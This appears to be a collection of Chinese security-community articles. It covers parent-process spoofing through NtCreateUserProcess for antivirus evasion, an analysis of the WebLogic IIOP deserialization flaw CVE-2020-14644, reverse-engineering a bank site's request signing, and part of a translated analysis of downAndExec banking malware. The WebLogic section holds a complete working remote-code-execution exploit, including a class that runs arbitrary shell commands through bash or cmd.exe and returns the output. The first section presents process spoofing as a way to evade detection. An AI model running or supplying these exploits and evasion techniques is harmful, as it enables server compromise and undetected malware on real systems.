typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
使用时, 我们可以根据TotalLength手动调整Attributes数组的大小，用如下代码初始化这个参数
PS_ATTRIBUTE_IMAGE_NAME指定要创建的进程，NtImagePath保存创建进程的路径
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;
以上就是NtCreateUserProcess 各个参数的代表的意义和与其使用相关的一些东西。
那么最后构造实现就可以简单为如下
//无关紧要的就设置NULL大法即可
NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS,
THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo,
AttributeList);
最后还有个清理痕迹，因为我们是在堆里面分配的空所以可以使用RtlFreeHeap函数，它可以释放由RtlAllocateHeap分配的内存。还有RtlDestroyProcessParameters
函数阔以释放存储在RTL_USER_PROCESS_PARAMETERS结构中的进程参数。
实现效果
**PPID （父进程欺骗)**
NtCreateUserProcess也可以进行PPID的操作
PPID 是恶意软件作者用来混入目标系统的技术之一。这是通过使恶意进程看起来像是由另一个进程产生的来完成的。这有助于规避基于异常父子进程关系的检测。
父进程欺骗有几处需要注意的，首先我们也要确定我们假借的父进程是哪个，然后确定其完整性如图是System则要求我们自身的权限很高才行，但如果Medium的话那么就不需要了效果如下
GetTokenInformation 可以用这个函数确定进程访问令牌的信息，然后用SID进行比较就可以确定出进程的级别
还记得PS_ATTRIBUTE_IMAGE_NAME是指定要创建的进程的名称，NtImagePath变量保存创建进程的文件的路径。那么要将一个进程生成为另一个进程的子进程，我们就可以使用PsAttributeParentProcess
PS_ATTRIBUTE_NUM ，然后将HANDLE给父进程。
那么就直接替换把父节点的attribute加进去 通过PS_ATTRIBUTE_PARENT_PROCESS
// obtain handle to parent
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
CLIENT_ID cid = { (HANDLE)5644, NULL };
这里的进程id是我设置死的一个如果需要更改的话其实可以参考这段代码
* * *
HANDLE hToken;
OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
DWORD cbTokenIL = 0;
PTOKEN_MANDATORY_LABEL pTokenIL = NULL;
GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbTokenIL);
pTokenIL = (TOKEN_MANDATORY_LABEL _)LocalAlloc(LPTR, cbTokenIL);
GetTokenInformation(hToken, TokenIntegrityLevel, pTokenIL, cbTokenIL,
&cbTokenIL);
DWORD dwIntegrityLevel = _GetSidSubAuthority(pTokenIL->Label.Sid, 0);
## 最后通过dwIntegrityLevel 看是LOW or MEDIUM HIGH SYSTEM 来取可以进行ppid的进程id进行操作
HANDLE hParent = NULL;
NtOpenProcess(&hParent, PROCESS_ALL_ACCESS, &oa, &cid);
// add parent process attribute
AttributeList->Attributes[1].Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
AttributeList->Attributes[1].Size = sizeof(HANDLE);
AttributeList->Attributes[1].ValuePtr = hParent;
//要注意的是我们每添加一个新属性，都需要将PS_ATTRIBUTE增大，因为调用RtlAllocateHeap要为PS_ATTRIBUTE分配足够的内存空间
最后NtCreateUserProcess
NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS,
THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo,
AttributeList);
其实很多CreateProcess的项目，就比如ppid也有用CreateProcess写的，都可以加以改变改成用NtCreateUserProcess操作的，就可以把一个很简单的被查杀CreateProcess进行一个免杀保护了。（当然也不是都能改的具体情况具体分析） | 社区文章 |
# CVE-2020-14644：weblogic iiop反序列化漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：ph4nt0mer@360CERT
## 0x01 weblogic 受影响版本
Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
## 0x02 环境准备
1、安装weblogic server版本。
安装weblogic_server可以参考`<https://blog.csdn.net/qq_36868342/article/details/79967606>`。
2、生成wlfullclient.jar包
wlfullclient可以通过，在安装完weblogic服务以后，来到`~/Oracle/Middleware/Oracle_Home/wlserver/server/lib`目录，运行`java
-jar
~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar`，就会在lib目录下生成一个wlfullclient.jar包。这个wlfullclient.jar包包含了weblogic的基本所有功能类。
3、在IDEA新建一个工程文件。把coherence.jar包和wlfullclient.jar包放在同一个目录下，同时添加到库里。
## 0x03 反序列化gadget分析。
这次iiop的关键反序列化类是`RemoteConstructor`。代码如下：
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.tangosol.internal.util.invoke;
import com.tangosol.io.ClassLoaderAware;
import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.SerializationSupport;
import com.tangosol.io.Serializer;
import com.tangosol.io.SerializerAware;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.Base;
import com.tangosol.util.ExternalizableHelper;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import java.io.ObjectStreamException;
import java.io.Serializable;
import java.util.Arrays;
import javax.json.bind.annotation.JsonbProperty;
public class RemoteConstructor<T> implements ExternalizableLite, PortableObject, SerializationSupport, SerializerAware {
@JsonbProperty("definition")
protected ClassDefinition m_definition;
@JsonbProperty("args")
protected Object[] m_aoArgs;
private transient Serializer m_serializer;
protected transient ClassLoader m_loader;
public RemoteConstructor() {
}
public RemoteConstructor(ClassDefinition definition, Object[] aoArgs) {
this.m_definition = definition;
for(int i = 0; i < aoArgs.length; ++i) {
Object arg = aoArgs[i];
aoArgs[i] = Lambdas.isLambda(arg) ? Lambdas.ensureRemotable((Serializable)arg) : arg;
}
this.m_aoArgs = aoArgs;
}
public ClassIdentity getId() {
return this.getDefinition().getId();
}
public ClassDefinition getDefinition() {
return this.m_definition;
}
public Object[] getArguments() {
return this.m_aoArgs;
}
public T newInstance() {
RemotableSupport support = RemotableSupport.get(this.getClassLoader());
return support.realize(this);
}
protected ClassLoader getClassLoader() {
ClassLoader loader = this.m_loader;
return loader == null ? Base.getContextClassLoader(this) : loader;
}
public boolean equals(Object o) {
if (!(o instanceof RemoteConstructor)) {
return false;
} else {
RemoteConstructor<?> that = (RemoteConstructor)o;
return this == that || this.getClass() == that.getClass() && Base.equals(this.m_definition, that.m_definition) && Base.equalsDeep(this.m_aoArgs, that.m_aoArgs);
}
}
public int hashCode() {
int nHash = this.m_definition.hashCode();
nHash = 31 * nHash + Arrays.hashCode(this.m_aoArgs);
return nHash;
}
public String toString() {
return "RemoteConstructor{definition=" + this.m_definition + ", arguments=" + Arrays.toString(this.m_aoArgs) + '}';
}
public void readExternal(DataInput in) throws IOException {
this.m_definition = (ClassDefinition)ExternalizableHelper.readObject(in);
Object[] aoArgs = this.m_aoArgs = new Object[ExternalizableHelper.readInt(in)];
for(int i = 0; i < aoArgs.length; ++i) {
aoArgs[i] = ExternalizableHelper.readObject(in);
}
}
public void writeExternal(DataOutput out) throws IOException {
ExternalizableHelper.writeObject(out, this.m_definition);
Object[] aoArgs = this.m_aoArgs;
ExternalizableHelper.writeInt(out, aoArgs.length);
Object[] var3 = aoArgs;
int var4 = aoArgs.length;
for(int var5 = 0; var5 < var4; ++var5) {
Object o = var3[var5];
ExternalizableHelper.writeObject(out, o);
}
}
public void readExternal(PofReader in) throws IOException {
this.m_definition = (ClassDefinition)in.readObject(0);
this.m_aoArgs = in.readArray(1, (x$0) -> {
return new Object[x$0];
});
}
public void writeExternal(PofWriter out) throws IOException {
out.writeObject(0, this.m_definition);
out.writeObjectArray(1, this.m_aoArgs);
}
public Object readResolve() throws ObjectStreamException {
return this.newInstance();
}
public Serializer getContextSerializer() {
return this.m_serializer;
}
public void setContextSerializer(Serializer serializer) {
this.m_serializer = serializer;
if (serializer instanceof ClassLoaderAware) {
this.m_loader = ((ClassLoaderAware)serializer).getContextClassLoader();
}
}
}
`RemoteConstructor`实现了`ExternalizableLite`接口，`ExternalizableLite`接口继承了`Serializable`，所以这个`RemoteConstructor`类是可以进行序列化的。
该类里没有readobject函数，但有readResolve函数。详细了解可以参考`<https://blog.csdn.net/Leon_cx/article/details/81517603>`
目前总结如下：
* 必须实现Serializable接口或Externalizable接口的类才能进行序列化
* transient和static修饰符修饰的成员变量不会参与序列化和反序列化
* 反序列化对象和序列化前的对象的全类名和serialVersionUID必须一致
* 在目标类中添加私有的writeObject和readObject方法可以覆盖默认的序列化和反序列化方法
* 在目标类中添加私有的readResolve可以最终修改反序列化回来的对象，可用于单例模式防止序列化导致生成第二个对象的问题
readResolve操作是在readobject后面，所以readResolve会覆盖readobject的内容。
查看下readResolve函数的内容：
public Object readResolve() throws ObjectStreamException {
return this.newInstance();
}
public T newInstance() {
RemotableSupport support = RemotableSupport.get(this.getClassLoader());
return support.realize(this);
}
getClassLoader()代码：
protected ClassLoader getClassLoader() {
ClassLoader loader = this.m_loader;
return loader == null ? Base.getContextClassLoader(this) : loader;
}
根据RemoteConstructor的构造函数可知。我们先写个大框架：
public class App2 {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
/*ClassIdentity classIdentity = new ClassIdentity(
org.iiop.test1.class
);*/
RemoteConstructor remoteConstructor = new RemoteConstructor(
new ClassDefinition(),
new Object[]{}
);
byte[] serialize= Serializables.serialize(remoteConstructor);
try {
Serializables.deserialize(serialize);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
因为this.m_loader是transient修饰的，所以loader会是null，返回的是Base.getContextClassLoader(this)。
看下RemotableSupport里面的realize方法：
public <T> T realize(RemoteConstructor<T> constructor) {
ClassDefinition definition = this.registerIfAbsent(constructor.getDefinition());
Class<? extends Remotable> clz = definition.getRemotableClass();
if (clz == null) {
synchronized(definition) {
clz = definition.getRemotableClass();
if (clz == null) {
definition.setRemotableClass(this.defineClass(definition));
}
}
}
Remotable<T> instance = (Remotable)definition.createInstance(constructor.getArguments());
instance.setRemoteConstructor(constructor);
return instance;
}
第一张图片的报错是在registerIfAbsent方法里，因为ClassDefinition我们定义的是空，所以取到definition.getId()为null。
protected ClassDefinition registerIfAbsent(ClassDefinition definition) {
assert definition != null;
ClassDefinition rtn = (ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition);
return rtn == null ? definition : rtn;
}
然后导致(ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(),
definition)报错了
那我们接着看一下ClassDefinition是做啥的，必须给他一个初始化有值的对象，代码如下:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.tangosol.internal.util.invoke;
import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.Base;
import com.tangosol.util.ClassHelper;
import com.tangosol.util.ExternalizableHelper;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import javax.json.bind.annotation.JsonbProperty;
public class ClassDefinition implements ExternalizableLite, PortableObject {
protected transient Class<? extends Remotable> m_clz;
protected transient MethodHandle m_mhCtor;
@JsonbProperty("id")
protected ClassIdentity m_id;
@JsonbProperty("code")
protected byte[] m_abClass;
public ClassDefinition() {
}
public ClassDefinition(ClassIdentity id, byte[] abClass) {
this.m_id = id;
this.m_abClass = abClass;
String sClassName = id.getName();
Base.azzert(sClassName.length() < 65535, "The generated class name is too long:\n" + sClassName);
}
public ClassIdentity getId() {
return this.m_id;
}
public byte[] getBytes() {
return this.m_abClass;
}
public Class<? extends Remotable> getRemotableClass() {
return this.m_clz;
}
public void setRemotableClass(Class<? extends Remotable> clz) {
this.m_clz = clz;
Constructor<?>[] aCtor = clz.getDeclaredConstructors();
if (aCtor.length == 1) {
try {
MethodType ctorType = MethodType.methodType(Void.TYPE, aCtor[0].getParameterTypes());
this.m_mhCtor = MethodHandles.publicLookup().findConstructor(clz, ctorType);
} catch (IllegalAccessException | NoSuchMethodException var4) {
throw Base.ensureRuntimeException(var4);
}
}
}
public Object createInstance(Object... aoArgs) {
try {
return this.getConstructor(aoArgs).invokeWithArguments(aoArgs);
} catch (NoSuchMethodException var10) {
Constructor[] aCtors = this.m_clz.getDeclaredConstructors();
Constructor[] var4 = aCtors;
int var5 = aCtors.length;
for(int var6 = 0; var6 < var5; ++var6) {
Constructor ctor = var4[var6];
if (ctor.getParameterTypes().length == aoArgs.length) {
try {
return ctor.newInstance(aoArgs);
} catch (InvocationTargetException | IllegalAccessException | IllegalArgumentException | InstantiationException var9) {
}
}
}
throw Base.ensureRuntimeException(var10);
} catch (Throwable var11) {
throw Base.ensureRuntimeException(var11);
}
}
protected MethodHandle getConstructor(Object[] aoArgs) throws NoSuchMethodException {
if (this.m_mhCtor != null) {
return this.m_mhCtor;
} else {
Class[] aParamTypes = ClassHelper.getClassArray(aoArgs);
try {
MethodType ctorType = MethodType.methodType(Void.TYPE, ClassHelper.unwrap(aParamTypes));
return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType);
} catch (NoSuchMethodException var6) {
try {
MethodType ctorType = MethodType.methodType(Void.TYPE, aParamTypes);
return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType);
} catch (IllegalAccessException var5) {
throw Base.ensureRuntimeException(var5);
}
} catch (IllegalAccessException var7) {
throw Base.ensureRuntimeException(var7);
}
}
}
public void dumpClass(String sDir) {
if (sDir != null) {
File dirDump = new File(sDir, this.m_id.getPackage());
boolean fDisabled = dirDump.isFile() || !dirDump.exists() && !dirDump.mkdirs();
if (!fDisabled) {
try {
OutputStream os = new FileOutputStream(new File(dirDump, this.m_id.getSimpleName() + ".class"));
Throwable var5 = null;
try {
os.write(this.m_abClass);
} catch (Throwable var15) {
var5 = var15;
throw var15;
} finally {
if (os != null) {
if (var5 != null) {
try {
os.close();
} catch (Throwable var14) {
var5.addSuppressed(var14);
}
} else {
os.close();
}
}
}
} catch (IOException var17) {
}
}
}
}
public boolean equals(Object o) {
if (!(o instanceof ClassDefinition)) {
return false;
} else {
ClassDefinition that = (ClassDefinition)o;
return this == that || this.getClass() == that.getClass() && Base.equals(this.m_id, that.m_id);
}
}
public int hashCode() {
return this.m_id.hashCode();
}
public String toString() {
return "ClassDefinition{id=" + this.m_id + '}';
}
public void readExternal(DataInput in) throws IOException {
this.m_id = (ClassIdentity)ExternalizableHelper.readObject(in);
this.m_abClass = ExternalizableHelper.readByteArray(in);
}
public void writeExternal(DataOutput out) throws IOException {
ExternalizableHelper.writeObject(out, this.m_id);
ExternalizableHelper.writeByteArray(out, this.m_abClass);
}
public void readExternal(PofReader in) throws IOException {
this.m_id = (ClassIdentity)in.readObject(0);
this.m_abClass = in.readByteArray(1);
}
public void writeExternal(PofWriter out) throws IOException {
out.writeObject(0, this.m_id);
out.writeByteArray(1, this.m_abClass);
}
}
新框架代码如下：
public class App2 {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
ClassIdentity classIdentity = new ClassIdentity();
ClassDefinition classDefinition = new ClassDefinition(
classIdentity,
new byte[]{}
);
RemoteConstructor remoteConstructor = new RemoteConstructor(
classDefinition,
new Object[]{}
);
byte[] serialize= Serializables.serialize(remoteConstructor);
try {
Serializables.deserialize(serialize);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
还是null，说明要对classIdentity也进行赋值初始化，classIdentity的构造函数如下：
public ClassIdentity(Class<?> clazz) {
this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz)));
}
protected ClassIdentity(String sPackage, String sBaseName, String sVersion) {
this.m_sPackage = sPackage;
this.m_sBaseName = sBaseName;
this.m_sVersion = sVersion;
}
可知ClassIdentity是一个new class。我们再同目录下创建一个test1的类。代码如下：
package org.iiop;
public class test1{
static {
System.out.println("success");
}
}
执行代码放在优先级最高的static里。
修改代码:
ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class);
ClassDefinition classDefinition = new ClassDefinition(
classIdentity,
new byte[]{}
);
definition.getId()终于不是null了。
最终来到
definseClass可以通过`<https://xz.aliyun.com/t/2272>`学习，我们可以看到sClassName已经是test1的值，但是abClass还是byte[0]，按理abClass里面存储的应该是test1的bytes值，所以我们需要想办法把abClass的值改成test1的bytes。一种是反射来修改，一种是看abClass是在哪里复制的。
这里我们采取第二种方法，因为`byte[] abClass =
definition.getBytes();`通过可知，abClass是通过definition来赋值的，但是definition我们前面在初始化的时候，只给了类名，没有给bytes，所以我们修改下代码。类的操作可以通过javassist库来进行操作。
代码修改如下：
ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(org.iiop.test1.class.getName());
ctClass.replaceClassName(org.iiop.test1.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion());
System.out.println(ctClass.toString());
ClassDefinition classDefinition = new ClassDefinition(
classIdentity,
ctClass.toBytecode()
);
因为之前看到的sClassName是test1$+十六进制，所以要做个replaceClassName的替换操作。 不替换前：
替换后：
运行之后：
成功把test1的内容给执行了，但是还有个报错。`org.iiop.test1$0BC03FF199F8E95021E1281BDFAAA032
cannot be cast to
com.tangosol.internal.util.invoke.Remotable`没有实现Remotable接口，那就改写下test1。
package org.iiop;
import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;
public class test1 implements Remotable {
static {
System.out.println("success");
}
@Override
public RemoteConstructor getRemoteConstructor() {
return null;
}
@Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {
}
}
最终成功，无报错：
基本框架结束以后，在外面套一个T3协议或者iiop发送出去，即可rce。因为使用的是defineClass所以是可以直接回显的。
这边我直接给出UnicodeSec的利用iiop回显代码，其中有个小bug，我修改了一下一点点代码：
因为他的逻辑是if(iiopCtx.lookup(“UnicodeSec”) ==
null)我在测试过程中发现，因为第一次不存在UnicodeSec一定会是报错，导致一直不能进入rebind，一直循环在if这里，所以我采用try的方法，其他代码不变
package org.iiop;
import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.ClassPool;
import javassist.CtClass;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.jndi.Environment;
import javax.naming.Context;
import javax.naming.NamingException;
import java.rmi.RemoteException;
/**
* created by UnicodeSec potatso
*/
public class App {
public static void main(String[] args) throws Exception {
String text = " ___ ___ ___ ___ __ __ _ _ __ _ _ _ _ \n" +
" |__ \\ / _ \\__ \\ / _ \\ /_ /_ | || | / /| || | | || | \n" +
" _____ _____ ) | | | | ) | | | |______| || | || |_ / /_| || |_| || |_ _____ ___ __ \n" +
" / __\\ \\ / / _ \\ / /| | | |/ /| | | |______| || |__ _| '_ \\__ _|__ _| / _ \\ \\/ / '_ \\ \n" +
" | (__ \\ V / __/ / /_| |_| / /_| |_| | | || | | | | (_) | | | | | | __/> <| |_) |\n" +
" \\___| \\_/ \\___| |____|\\___/____|\\___/ |_||_| |_| \\___/ |_| |_| \\___/_/\\_\\ .__/ \n" +
" | | \n" +
" |_| " +
" Powered by UnicodeSec potatso ";
System.out.println(text);
String host = "127.0.0.1";
String port = "7001";
String command = "whoami";
Context iiopCtx = getInitialContext(host, port);
try{
iiopCtx.lookup("UnicodeSec");
}catch (Exception e){
ClassIdentity classIdentity = new ClassIdentity(org.iiop.test.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(org.iiop.test.class.getName());
ctClass.replaceClassName(org.iiop.test.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[]{}
);
String bindName = "UnicodeSec" + System.nanoTime();
iiopCtx.rebind(bindName, constructor);
}
executeCmdFromWLC(command, iiopCtx);
}
private static void printUsage() {
System.out.println("usage: java -jar cve-2020-14644.jar host port command");
System.exit(-1);
}
private static void executeCmdFromWLC(String command, Context iiopCtx) throws NamingException, RemoteException {
ClusterMasterRemote remote = (ClusterMasterRemote) iiopCtx.lookup("UnicodeSec");
String response = remote.getServerLocation(command);
System.out.println(response);
}
public static Context getInitialContext(String host, String port) throws Exception {
String url = converUrl(host, port);
Environment environment = new Environment();
environment.setProviderUrl(url);
environment.setEnableServerAffinity(false);
Context context = environment.getInitialContext();
return context;
}
public static String converUrl(String host, String port) {
return "iiop://" + host + ":" + port;
}
}
test的代码:
package org.iiop;
import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;
public class test implements Remotable, ClusterMasterRemote {
static {
try {
String bindName = "UnicodeSec";
Context ctx = new InitialContext();
test remote = new test();
ctx.rebind(bindName, remote);
System.out.println("installed");
} catch (Exception var1) {
var1.printStackTrace();
}
}
public test() {
}
@Override
public RemoteConstructor getRemoteConstructor() {
return null;
}
@Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {
}
@Override
public void setServerLocation(String var1, String var2) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
List<String> cmds = new ArrayList<String>();
if (isLinux) {
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
} else {
cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);
}
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
第一次发送会报错，因为在rebind，第二次就会回显：
## 0x04 总结
这是一次相对其他较简单的gadget分析，需要了解iiop，cobra，反序列化，序列化等相关知识，同时还需要了解javassist和defineClass的知识。
## 0x05 weblogic全球态势
## 0x06 参考
[Oracle cve 2020-14644
分析利用以及回显思路](https://www.cnblogs.com/potatsoSec/p/13451993.html)
[defineClass在java反序列化当中的利用](https://xz.aliyun.com/t/2272) | 社区文章 |
近期同事遇到一个金融站点的前端加签验证问题，找到本菜鸡一起帮忙分析。经过测试发现，客户端每次请求都会对数据包进行加签，然后服务端会对数据包进行验签。
解决大概思路：确定加签关键字->分析前端代码获取加签算法->使用burpy插件调用前端加密函数自动对数据包进行加签操作
Burpy：一款burp插件，可自定义python脚本对数据包进行加解密。<https://github.com/mr-m0nst3r/Burpy>
1. 确定加签关键字
开局一个登录框
通过测试得知，服务端会对每个请求数据包的"_msgid"和"_sign"参数进行验签，一但数据包被修改或者重复发送相同数据包，服务端则会返回"验证签名失败！"
2. 分析js获取加签算法
首先F12全局搜索查找"_msgid"的生成算法
找到对应的uuid()算法逻辑
把js加密代码抠出来复制到sign.js文件
使用python的execjs模块调用sign.js的uuid函数,编写demo测试没问题，加签字段"_msgid"搞定
接下来分析加签字段"_sign"的加密逻辑，通过sign关键字定位到getSign函数
此处对前端代码进行调试，得知传入的参数requestObject为字典格式,通过对字典数据进行处理后得到参数"sb"的值，最终将"sb"的值MD5加密后得到加签字段"_sign"的值
"_sign"的大致加密逻辑有了，那么就需要查看前端调用栈来查看传入参数"requestObject"的字典数据是如何生成的。
分析后得知"requestObject"由两部分组成，一部分为不固定参数，根据业务功能点不同传入不同的参数字典，另一部分为固定参数token、msgid、app_id、redisIdBindCustno添加到字典数据的尾部，然后传入getSign获取加签参数"_sign"的值
3. 编写加签脚本
大致的加签数据生成流程已经理清楚，接下来就需要编写burpy脚本搞定"_sign"加签参数，首先把getSign()函数的加密算法抠出来复制到sign.js文件中
编写脚本调用sign函数获取加签参数"_msgid、_sign"的值，从而实现自动化对数据包进行加签。(注意：传入的encrypt函数的body为str类型，返回时也必须为str类型)
接下来可以开启burpy插件，即可自动替换数据包中的加签参数 | 社区文章 |
# 【技术分享】DownAndExec：银行恶意软件利用CDN野火般传播
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://www.welivesecurity.com/2017/09/13/downandexec-banking-malware-cdns-brazil/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
像Netflix这样的服务商通常使用内容分发网络（CDN）来最大限度地提高带宽使用率，当用户在Netflix上观看影片时，由于CDN服务器靠近用户所在地，因此用户在观看电视剧或者电影时，影片内容的加载时间将会很快，以使得全世界的用户都能够获得良好的观影效果。但是，
**CDN却开始成为传播恶意软件的新方式。**
图1：2016年6月检测到的NSIS/TrojanDropper.Agent.CL
使用CDN进行网络攻击的攻击链非常广泛，其中包括执行远程脚本（在某些方面类似于最近的“无文件”银行恶意软件）、将CDN用于命令和控制（C＆C）服务器以及使用其他“高级”技术来保护恶意软件等。本文的目的是对
**downAndExec** 技术进行分析，该技术正广泛使用JS脚本在受害者的机器上下载和执行恶意软件。
**阶段1：初始感染**
****
攻击链从发送一些文件开始，这些文件被ESET检测到并命名为NSIS/TrojanDropper.Agent.CL。在VirusTotal上通过文件名来查询与文件名相关联的样本，我们看到该类型的恶意软件是通过使用社会工程技术来诱骗受害者执行机器上的恶意软件的，查询的结果如下表所示：
自[版本9.43（June/2014）](http://nsis.sourceforge.net/Can_I_decompile_an_existing_installer)发布以来，NSIS恶意软件最大的的特点之一就是可以提取嵌入在可执行文件中的脚本，该脚本具有恶意软件初始阶段的所有功能。该脚本在加载时，通过广泛使用递归调用来加大安全工具监视其执行路径的难度。在NSIS恶意软件的各个版本中，原始脚本基本很少修改，在脚本实现上利用了[ActiveX](https://en.wikipedia.org/wiki/ActiveX)等资源（仅适用于Internet
Explorer），我们可以使用Google
Chrome浏览器的[DevTools工具](https://developer.chrome.com/devtools)来调试该脚本。
图2：使用DevTools工具对脚本进行调试
提取到的脚本在恶意软件中扮演downloader的角色，目的是在受害者的计算机上下载并执行其他类型的恶意软件，脚本在执行的过程中会从外部主机上下载一段JS代码片段，该JS代码片段是恶意软件执行过程中所必需的。
在网络攻击链中，提供CDN服务的主机被用来托管上述JS代码片段。由于对整个CDN域名进行阻断不切实际，因此当处理这种威胁时我们将面临以下挑战：
1\. 阻止新的C＆C恶意软件：这可能是为什么我们一直看到新的URLS频繁出现在同一个域名上的原因。
2\. 搜索IoC：在受影响的环境中，存在大量非恶意软件访问记录。
图3：模拟托管恶意JS代码段的CDN
为了模拟托管恶意JS代码片段的CDN并方便调试过程，我们可以使用本地HTTP服务在本地机器上提供此内容分发服务。
图4：加载外部托管的JS代码片段
通过上图我们可以看到脚本是如何向外部域（CDN）发出请求以获取该代码片段内容的，如果响应状态为“OK”（即HTTP
200），则表示脚本成功从CDN上获取到代码片段的内容。
**阶段2：下载阶段**
****
在调用f()函数获取到返回的JS代码片段后，脚本调用eval()函数,将“ **downAndExec（” <parameter_1>
“，”parameter_2“”）**”字符串添加到JS代码片段的末尾，如下图所示：
图5：将C＆C URL和x-id插入到JS代码片段中
第一个参数（<parameter_1>）对应于C＆C服务器的URL，第二个参数（<parameter_2>）包含了“x-id”数据，该数据用于下载恶意软件的其他有效载荷。
图6：downAndExec中涉及到文件的关系
JS代码片段只有在执行时才会在代码中出现几个特征字符串，这使得当对JS代码片段执行静态分析时很难理解脚本的含义（即使函数的名称未被修改或模糊）。
图7：JS片段中使用的混淆
JS脚本的主要功能部分是NSIS downloader添加的 **downAndExec()**
函数。这意味着如果单独在沙盒环境中分析该JS代码片段，代码的恶意函数将不会被执行，那么最后得出的分析结果可能就是该代码片段不是恶意的。
图8：JS代码段中的downAndExec()的定义
除了对沙盒环境进行检测之外，脚本还在执行恶意代码之前执行多个检查，以便对恶意代码的执行环境执行全面的检测。第一个检测函数是isOS()，它只是简单的返回true，但也可能是这个恶意软件未来版本的存根。第二个检查是
**hasAnyPrograms()** ，它检查受害者的计算机上是否安装了攻击者感兴趣的应用程序。
图9：在系统上搜索银行软件的hasAnyPrograms（）函数
getPathfromGuid()和getPathFromGuidWow()函数通过HKCR中的CLSID键来执行文件搜索，如果找不到这些文件，脚本就会搜索与Bradesco，Itaú，Sicoob和Santander等银行相关的文件夹。
搜索这些文件旨在防止在可能不用于网上银行目的的计算机上激活恶意功能，如果通过hasAnyPrograms()函数找到这些文件中的任何一个，则进行第三次检查以
**验证连接是否来自巴西**
